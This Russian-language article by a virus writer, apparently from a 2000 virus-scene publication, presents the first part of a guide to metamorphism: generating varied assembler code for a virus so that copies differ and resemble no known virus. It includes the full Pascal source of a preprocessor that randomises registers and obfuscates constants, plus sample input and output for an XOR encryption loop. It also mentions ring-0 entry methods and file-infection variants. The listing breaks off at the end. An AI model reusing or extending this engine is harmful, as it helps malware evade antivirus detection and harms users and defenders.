МЕТАМОРФИЗМ ч.1

## МЕТАМОРФИЗМ

### часть 1

Термины:

Метаморфизм -- генерация вирусом своего ассемблерного кода.

В этом тексте изложим некоторые мысли именно по поводу генерации нового кода.

Итак, надо научиться генерить код:

- выполнящий определенные нужные нам действия
- полиморфный
- по возможности максимально похожий на код сгенеренный hll-компиляторами
- минимально похожий на код используемый во всех известных вирусах

Два сгенеренных таким образом вируса могут различаться:

- на уровне алгоритма
- на уровне команд

Уровень алгоритма здесь означает примерно следующее: вирус состоит из "блоков", на каждый из которых имеется несколько вариантов, отличающихся по своей сути. Например переход в ring-0 через IDT либо GDT либо INT 2E либо VMM/..., заражение файлов в хеадер либо в последнюю секцию, и т.п.

Уровень команд означает что каждая "строка" псевдо-языка, в котором представлены такие алгоритмические блоки может быть представлена различными ассемблерными инструкциями, такие строки могут также иметь несколько вариантов, могут быть изменены и перемешаны.

Вот как это выглядит:

задача: вычислить выражение f(x)=10*sin(2*x)

         ------------------------ уровень "алгоритма" ------------------->
        |
        |        f(x) = 10*sin(2*x)             f(x) = sin(x)*cos(x)*20
        |
        |        ВАРИАНТ 1                      ВАРИАНТ 2
        |
        |        t = x                          t = x
     уровень     t = t * 2                      a = sin(t)
     "команд"    t = sin(t)                     b = cos(t)
        |        t = t * 10                     t = a * b
        |                                       t = t * 20
        |
        |        ВАРИАНТ 3                      ВАРИАНТ 4
        |
        |        t = 2 * x                      b = cos(x)
        |        a = sin(t)                     t = 20 * b
        |        t = 10 * a                     a = sin(x)
        |                                       t = t * a

Очевидно, что пока еще нет возможности автоматически изменять программу на уровне алгоритма. Поэтому это ваше дело, сколько различных вариантов одних и тех же действий вы зададите, но одно ясно - чем больше, тем лучше. Далее мы будем рассматривать только уровень команд.

Итак, вот мы выбрали один из алоритмов. Вопросы тут такие:

- каким образом его реально закодировать и
- как потом из этих данных получить ассемблерный код.

Генерацию именно ассемблерного кода пока оставим, а все инструкции будем представлять в виде текста. Короче говоря, пишем вирусный конструктор. Чтобы потом из конструктора сделать компилятор, вместо writeln('nop') (для наглядности будем юзать паскаль) надо просто генерить сооветствующие опкоды.

Далее будем руководствоваться тем, что в алгоритме не используются регистры, а только переменные. А вот операции с этими переменными осуществляются уже посредством регистров. Это дает нам возможность:

- использовать фиксированный набор команд (как и поступают hll-компиляторы)
- [по желанию] использовать огромное количество мусора изменяющего регистры
- сгенеренный таким образом код выглядит достаточно хуево и плохо дисассемблируется

Итак, на уровне переменных нам достаточно следующих основных команд-макросов:

Уровень переменных:

            mov     v, c
            mov     v1, [v2]
            mov     [v1], v2
            cmd     v1, v2     ; cmd = add/sub/xor/rol/ror

Уровень регистров: (используются предыдущими макросами)

            mov     v, c
                    mov     r, c
                    mov     v, r
            mov     v1, [v2]
                    mov     r2, v2
                    mov     r1, [r2]
                    mov     v1, r1
            mov     [v1], v2
                    mov     r1, v1
                    mov     r2, v2
                    mov     [r1], r2
            mov     v1, v2
                    mov     r, v2
                    mov     v1, r
            cmd     v1, v2
                    mov     r1, v1     mov r1, v1     mov r2, v2
                    mov     r2, v2     cmd r1, v2     cmd v1, r2
                    cmd     r1, r2     mov v1, r1
                    mov     v1, r1
            mov     r, v
                    mov     r1, offset v      mov r, v
                    mov     r, [r1]
            mov     v, r
                    mov     r1, offset v      mov v, r
                    mov     [r1], r
            mov     r, c
                    ...

Чтобы продемонстрировать уровни команд и регистров, напишем такую вот несложную программу-препроцессор: asmx.pas Вызывается программа так: asmx.exe 1.src 1.asm В конце текста приведен исходник и что получается в результате.

Написав с использованием таких вещей вирус можно уже сделать нечто похожее на конструктор, правда без "алгоритмического" уровня.

Итак, следующим шагом является представление всего вируса в подобном псевдо-коде с различными вариантами алгоритмов и замена в нижеприведенном примере генерации текста на геренацию опкодов. Но это в следующий раз. ;-)

* * *

(x) 2000 Z0MBiE, http://z0mbie.host.sk

    ---[begin ASMX.PAS]---------------------------------------------------------
    {$A+,B-,D+,E-,F-,G+,I-,L+,N+,O-,P-,Q-,R-,S-,T-,V+,X+,Y+}
    {$M 16384,0,0}

    uses crt, dos;

    procedure outcmd(c,d,s:string); forward;

    procedure reg_alloc(var r:string); forward;
    procedure reg_free(var r:string); forward;
    procedure reg_xchg(var r:string); forward;

    procedure cmd_r_r(cmd,r1,r2:string); forward;
    procedure cmd_v_r(cmd,v,r:string); forward;
    procedure cmd_r_v(cmd,r,v:string); forward;
    procedure mov_x_x(x1,x2:string); forward;
    procedure mov_x_c(x,c:string); forward;
    procedure mov_r_c(r,c:string); forward;
    procedure mov_r_offsv(r,v:string); forward;
    procedure mov_r_memr(r1,r2:string); forward;
    procedure mov_memr_r(r1,r2:string); forward;
    procedure mov_r_v(r,v:string); forward;
    procedure mov_v_r(v,r:string); forward;

    procedure mov_v_c(v,c:string); forward;
    procedure mov_v_memv(v1,v2:string); forward;
    procedure mov_memv_v(v1,v2:string); forward;
    procedure cmd_v_v(cmd,v1,v2:string); forward;

    var
      infile, outfile : text;

    { outcmd: здесь легко реализуется добавление инструкций в список и
      последующее их перемешивание }
    procedure outcmd(c,d,s:string);
      begin
        if (d='') or (s='') then
          writeln(outfile,c,' ',d,s)
        else
          writeln(outfile,c,' ',d,', ',s);
      end;

    const
      hexchar:array[0..15] of char = '0123456789ABCDEF';

    const
      regtotal = 8;
      regcount:integer=regtotal;
      regused:array[1..regtotal] of integer = (0,0,0,0,0,0,0,0);
      regname:array[1..regtotal] of string[3] =
        ('eax','ecx','edx','ebx','esp','ebp','esi','edi');

    { пометить регистр как используемый }
    procedure reg_use(r:string);
      var
        i:integer;
      begin
        for i:=1 to regtotal do
          if regname[i]=r then
            if regused[i]=0 then
            begin
              regused[i]:=1;
              dec(regcount);
              exit;
            end;
      end;

    { рандомно выделить регистр }
    procedure reg_alloc(var r:string);
      var
        i:integer;
      begin
        if regcount=0 then halt(1);
        repeat
          i:=1+random(regtotal);
        until regused[i]=0;
        r:=regname[i];
        regused[i]:=1;
        dec(regcount);
      end;

    { оснвободить регистр }
    procedure reg_free(var r:string);
      var
        i:integer;
      begin
        if regcount=0 then halt(2);
        for i:=1 to regtotal do
          if regname[i]=r then
          begin
            if regused[i]<>1 then halt(4);
            regused[i]:=0;
            inc(regcount);
            r:='';
            exit;
          end;
        halt(3);
      end;

    procedure mov_x_x(x1,x2:string);  { x1=v/r, x2=v/r, x1!=v||x2!=v }
      begin
        case random(5) of
          0: begin
               outcmd('push','',x2);
               outcmd('pop',x1,'');
             end;
          else
             begin
               outcmd('mov',x1,x2);
             end;
        end;
      end;

    { (рандомно) пере-выделить регистр, то бишь изменить его на другой }
    procedure reg_xchg(var r:string);
      var
        r1:string;
      begin
        if regcount=0 then exit;
        if random(3)<>0 then exit;
        reg_alloc(r1);
        mov_x_x(r1,r);
        reg_free(r);
        r:=r1;
      end;

    procedure cmd_r_r(cmd,r1,r2:string);
      begin
        outcmd(cmd,r1,r2);
      end;
    procedure cmd_v_r(cmd,v,r:string);
      begin
        outcmd(cmd,v,r);
      end;
    procedure cmd_r_v(cmd,r,v:string);
      begin
        outcmd(cmd,r,v);
      end;

    procedure mov_x_c(x,c:string);  { x=v/r }
      var
        i:integer;
        l:string;
      begin
        l := '0'; for i:=0 to 7 do l:=l+hexchar[random(16)]; l:=l+'h';
        case random(5) of
          0: begin
               mov_x_c(x,'('+c+')+'+l);
               outcmd('sub',x,l);
             end;
          1: begin
               mov_x_c(x,'('+c+')-'+l);
               outcmd('add',x,l);
             end;
          else
             begin
               mov_x_x(x,c);
             end;
        end;
      end;

    procedure mov_r_c(r,c:string);
      begin
        mov_x_c(r,c);
      end;

    procedure mov_r_offsv(r,v:string);
      begin
        outcmd('lea',r,v);          { mov r, offset v }
      end;

    procedure mov_r_memr(r1,r2:string);
      begin
        mov_x_x(r1,'dword ptr ['+r2+']');     { mov r1, [r2] }
      end;
    procedure mov_memr_r(r1,r2:string);
      begin
        mov_x_x('dword ptr ['+r1+']',r2);     { mov [r1], r2 }
      end;

    procedure mov_r_v(r,v:string);
      var
        r1:string;
      begin
        case random(3) of
          0: begin
               mov_x_x(r,v);         { mov r, v }
             end;
          1: begin
               reg_alloc(r1);
               mov_r_offsv(r1,v);    { mov r1, offset v }
               reg_xchg(r1);
               mov_r_memr(r,r1);     { mov r, [r1] }
               reg_free(r1);
             end;
          2: begin
               mov_r_offsv(r,v);     { mov r, offset v }
               mov_r_memr(r,r);      { mov r, [r] }
             end;
        end;
      end;

    procedure mov_v_r(v,r:string);
      var
        r1:string;
      begin
        case random(2) of
          0: begin
               mov_x_x(v,r);       { mov v, r }
             end;
          1: begin
               reg_alloc(r1);
               mov_r_offsv(r1,v);  { mov r1, offset v }
               reg_xchg(r1);
               mov_memr_r(r1,r);   { mov [r1], r }
               reg_free(r1);
             end;
        end;
      end;

    procedure mov_v_c(v,c:string);
      var
        r:string;
      begin
        case random(2) of
          0: begin
               mov_x_c(v,c);  { mov v, c }
             end;
          1: begin
               reg_alloc(r);
               mov_r_c(r,c);  { mov r, c }
               reg_xchg(r);
               mov_v_r(v,r);  { mov v, r }
               reg_free(r);
             end;
        end;
      end;

    procedure mov_v_memv(v1,v2:string);
      var
        r1,r2:string;
      begin
        reg_alloc(r2);
        mov_r_v(r2,v2);     { mov r2, v2   }
        reg_xchg(r2);
        reg_alloc(r1);
        mov_r_memr(r1,r2);  { mov r1, [r2] }
        reg_free(r2);
        reg_xchg(r1);
        mov_v_r(v1,r1);     { mov v1, r1   }
        reg_free(r1);
      end;

    procedure mov_memv_v(v1,v2:string);
      var
        i,j:integer;
        r1,r2:string;
      begin
        j:=random(2);
        for i:=j to j+1 do
          if odd(i) then begin
            reg_alloc(r1);
            mov_r_v(r1,v1);     { mov r1, v1 }
            reg_xchg(r1);
          end else begin
            reg_alloc(r2);
            mov_r_v(r2,v2);     { mov r2, v2 }
            reg_xchg(r2);
          end;
        mov_memr_r(r1,r2);    { mov [r1], r2 }
        reg_free(r1);
        reg_free(r2);
      end;

    procedure cmd_v_v(cmd,v1,v2:string);
      var
        i,j:integer;
        r1,r2:string;
      begin
        case random(3) of
          0: begin
               reg_alloc(r2);
               mov_r_v(r2,v2);     { mov r2,v2 }
               reg_xchg(r2);
               cmd_v_r(cmd,v1,r2); { cmd v1,r2 }
               reg_free(r2);
             end;
          1: begin
               reg_alloc(r1);
               mov_r_v(r1,v1);     { mov r1,v1 }
               reg_xchg(r1);
               cmd_r_v(cmd,r1,v2); { cmd r1,v2 }
               reg_xchg(r1);
               mov_v_r(v1,r1);     { mov v1,r1 }
               reg_free(r1);
             end;
          2: begin
               j:=random(2);
               for i:=j to j+1 do
                 if odd(i) then begin
                   reg_alloc(r1);
                   mov_r_v(r1,v1);     { mov r1, v1 }
                   reg_xchg(r1);
                 end else begin
                   reg_alloc(r2);
                   mov_r_v(r2,v2);     { mov r2, v2 }
                   reg_xchg(r2);
                 end;
               cmd_r_r(cmd,r1,r2); { cmd r1, r2 }
               reg_free(r2);
               reg_xchg(r1);
               mov_v_r(v1,r1);     { mov v1, r1 }
               reg_free(r1);
             end;
        end;
      end;

    procedure process_string(t:string);
      var
        p1,p2,p3,p4:string;
      begin
        writeln(outfile,';; ',t);
        move(t,mem[prefixseg:$80],128);
        p1:=paramstr(1);
        p2:=paramstr(2);
        p3:=paramstr(3);
        p4:=paramstr(4);
        if p1='reg_use'    then reg_use(p2);
        if p1='reg_free'   then reg_free(p2);
        if p1='mov_v_c'    then mov_v_c(p2,p3);
        if p1='mov_v_memv' then mov_v_memv(p2,p3);
        if p1='mov_memv_v' then mov_memv_v(p2,p3);
        if p1='cmd_v_v'    then cmd_v_v(p2,p3,p4);
        if p1='mov_v_r'    then mov_v_r(p2,p3);
        if p1='mov_r_v'    then mov_r_v(p2,p3);
      end;

    var
      s:string;

    begin
      if paramcount<>2 then
      begin
        writeln('syntax: ASMX infile outfile');
        halt;
      end;

      randomize;
      clrscr;

      writeln('asmx: ',paramstr(1),' --> ',paramstr(2));

      assign(infile, paramstr(1));
      reset(infile);
      if ioresult<>0 then halt(10);
      assign(outfile, paramstr(2));
      rewrite(outfile);
      if ioresult<>0 then halt(11);

      while not eof(infile) do
      begin
        readln(infile, s);
        if s[1]<>'#' then begin
          writeln(outfile, s);
        end else begin
          delete(s,1,1);
          process_string(s);
        end;
      end;

      close(outfile);
      close(infile);
    end.
    ---[end ASMX.PAS]-----------------------------------------------------------

    ---[begin 1.SRC]------------------------------------------------------------

    ; текст для обработки препроцессором

    ; input: ESI=buffer
    ;        ECX=size

    #reg_use esp
    #reg_use ebp

    encrypt:
                            sub     esp, 20

    arg_index               =       dword ptr [esp+0]
    arg_count               =       dword ptr [esp+4]
    arg_4                   =       dword ptr [esp+8]
    arg_a                   =       dword ptr [esp+12]
    arg_b                   =       dword ptr [esp+16]

    #                       reg_use  esi
    #                       reg_use  ecx
    #                       mov_v_r  arg_index  esi
    #                       mov_v_r  arg_count  ecx
    #                       reg_free esi
    #                       reg_free ecx

    __cycle:
    #                       mov_v_memv   arg_a     arg_index
    #                       mov_v_c      arg_b     0FFFFFFFFh
    #                       cmd_v_v      xor       arg_a         arg_b
    #                       mov_memv_v   arg_index arg_a

    #                       mov_v_c  arg_4  4
    #                       cmd_v_v  add    arg_index     arg_4
    #                       cmd_v_v  sub    arg_count     arg_4
                            jnc      __cycle

                            add     esp, 20
                            ret
    ---[end 1.SRC]--------------------------------------------------------------

    ---[begin 1.ASM]------------------------------------------------------------

    ; результат работы препроцессора

    ; input: ESI=buffer
    ;        ECX=size

    ;; reg_use esp
    ;; reg_use ebp

    encrypt:
                            sub     esp, 20

    arg_index               =       dword ptr [esp+0]
    arg_count               =       dword ptr [esp+4]
    arg_4                   =       dword ptr [esp+8]
    arg_a                   =       dword ptr [esp+12]
    arg_b                   =       dword ptr [esp+16]

    ;;                        reg_use  esi
    ;;                        reg_use  ecx
    ;;                        mov_v_r  arg_index  esi
    push esi
    pop arg_index
    ;;                        mov_v_r  arg_count  ecx
    mov arg_count, ecx
    ;;                        reg_free esi
    ;;                        reg_free ecx

    __cycle:
    ;;                        mov_v_memv   arg_a     arg_index
    mov esi, arg_index
    mov ecx, dword ptr [esi]
    push ecx
    pop arg_a
    ;;                        mov_v_c      arg_b     0FFFFFFFFh
    mov esi, ((((0FFFFFFFFh)-0EC1AAA3Fh)+0BFBE44BBh)+03B0F2183h)+0F48E7CC5h
    sub esi, 0F48E7CC5h
    sub esi, 03B0F2183h
    sub esi, 0BFBE44BBh
    add esi, 0EC1AAA3Fh
    mov edx, esi
    lea esi, arg_b
    mov edi, esi
    mov dword ptr [edi], edx
    ;;                        cmd_v_v      xor       arg_a         arg_b
    lea ecx, arg_a
    mov ecx, dword ptr [ecx]
    xor ecx, arg_b
    mov arg_a, ecx
    ;;                        mov_memv_v   arg_index arg_a
    lea ecx, arg_index
    mov ebx, ecx
    push dword ptr [ebx]
    pop edi
    mov edx, edi
    lea ecx, arg_a
    mov esi, ecx
    mov eax, dword ptr [esi]
    mov dword ptr [edx], eax

    ;;                        mov_v_c  arg_4  4
    mov ecx, ((4)-0EC5AF651h)-0EBD0C63Fh
    add ecx, 0EBD0C63Fh
    add ecx, 0EC5AF651h
    mov arg_4, ecx
    ;;                        cmd_v_v  add    arg_index     arg_4
    lea eax, arg_4
    mov eax, dword ptr [eax]
    push eax
    pop edx
    mov ebx, arg_index
    add ebx, edx
    lea eax, arg_index
    mov dword ptr [eax], ebx
    ;;                        cmd_v_v  sub    arg_count     arg_4
    lea edx, arg_count
    push dword ptr [edx]
    pop ecx
    sub ecx, arg_4
    mov esi, ecx
    mov arg_count, esi
                            jnc      __cycle

                            add     esp, 20
                            ret
    ---[end 1.A